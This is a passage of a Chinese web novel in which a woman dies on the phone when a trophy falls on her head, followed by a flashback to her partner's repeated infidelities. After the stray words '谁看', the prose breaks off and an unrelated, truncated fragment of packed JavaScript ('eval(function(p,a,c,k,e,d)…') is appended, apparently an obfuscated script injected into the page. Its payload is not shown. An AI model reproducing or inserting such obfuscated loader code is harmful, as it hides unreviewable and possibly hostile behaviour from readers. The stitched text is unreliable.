翟诺北叹一口气,这下彻底清醒了。听电话那边裴玟悉悉索索的动静,笑着打趣:
“你们喜鹊不都是站在电线杆子上的吗,怎么信号还不好啊。”
“少贫了你!这回能听清吗?”
“嗯,听清了,你刚说谁?”
“l……”
电话那头的裴玟只发出一个模糊的音节,随后是一声重物坠地的闷响,还连线的手机突然掉到地板上。
翟诺北一愣,瞬间坐起:“裴玟?”
电话突然没有了回应。
“裴玟?你怎么了?裴玟!”
卧室里,裴玟穿着棉质睡衣,整个人似泥般瘫软在书架下。
那座共同刻着她和翟诺北名字的奖杯倒立砸下,翠鸟一只铁质翅膀深深插入了她的头顶。
鲜血滚滚流出,她感受到头骨骨折的脆响,手机里传来翟诺北的声音像是沉没在水里,她不知道,这其实是因为她的耳蜗里灌满了血。
身体坠入无尽深海,无法喘息,耳侧只有沉闷缓慢的心跳,似卡住的磁带,几秒种才会不规则的响一声。
“咚——咚————咚——”
我这是死了吧……
一片沉重的黑暗里,她短暂的半生如走马灯般急速闪过,可笑的是,其中一大半竟然都和翟诺北有关:
高中校园里,她坐在场边,看他打球胜利后笑着跑来,先揉了一下她的头,然后探身和她身后的校花接吻;
二十周岁生日,他把一辆宝马迷你款的车钥匙藏在巨型捧花里送给她,当晚和她们学院院花滚了床单;
第一天入职下班,他一身正装手捧玫瑰接她去高档餐厅庆祝。吃完饭,他带着餐厅美女服务员回了家……
畜生啊……
谁看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+